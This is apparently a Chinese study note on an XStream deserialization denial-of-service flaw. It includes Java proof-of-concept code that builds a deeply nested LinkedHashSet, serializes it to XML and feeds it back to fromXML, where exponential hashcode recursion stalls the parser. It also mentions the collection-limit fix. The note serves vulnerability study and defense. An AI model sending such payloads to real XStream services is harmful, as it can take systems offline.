漏洞原理

攻击POC

  • 原理理解:每次都要循环重新计算hashcode,性能消耗成指数级上涨。
    • s1,s2,t1,t2 …
    • As soon as the XML is unmarshalled, the hash codes of the elements are calculated and the calculation time increases exponentially due to the highly recursive structure. ``` import com.thoughtworks.xstream.XStream;

import java.util.LinkedHashSet; import java.util.Set;

public class Xstream01Test {

  1. public static void testDoSAttackWithLinkedHashSet() {
  2. final Set set = new LinkedHashSet();
  3. Set s1 = set;
  4. Set s2 = new LinkedHashSet();
  5. for (int i = 0; i < 30; i++) {
  6. final Set t1 = new LinkedHashSet();
  7. final Set t2 = new LinkedHashSet();
  8. t1.add("a");
  9. t2.add("b");
  10. s1.add(t1);
  11. s1.add(t2);
  12. s2.add(t2);
  13. s2.add(t1);
  14. s1 = t1;
  15. s2 = t2;
  16. }
  17. XStream xstream = new XStream();
  18. final String xml = xstream.toXML(set); // 攻击POC生成.
  19. System.out.println(xml);
  20. xstream.fromXML(xml); // sink点
  21. }
  22. public static void main(String[] args) throws Exception{
  23. long start = System.currentTimeMillis();
  24. testDoSAttackWithLinkedHashSet();
  25. long finish = System.currentTimeMillis();
  26. System.out.println(finish - start);
  27. }

}

```

拓展思考

  • 其他XML解析工具是否有同类问题?
  • Fastjson这样的Json是否也有同类循环嵌套的问题?
  • 具体修复代码(看SecurityUtils),是如何解决这个问题的?
    • 增加一个函数(xstream.setCollectionUpdateLimit(5),可以手工限定最多5层)
  • 其他xstream的反序列化Gadget理解分析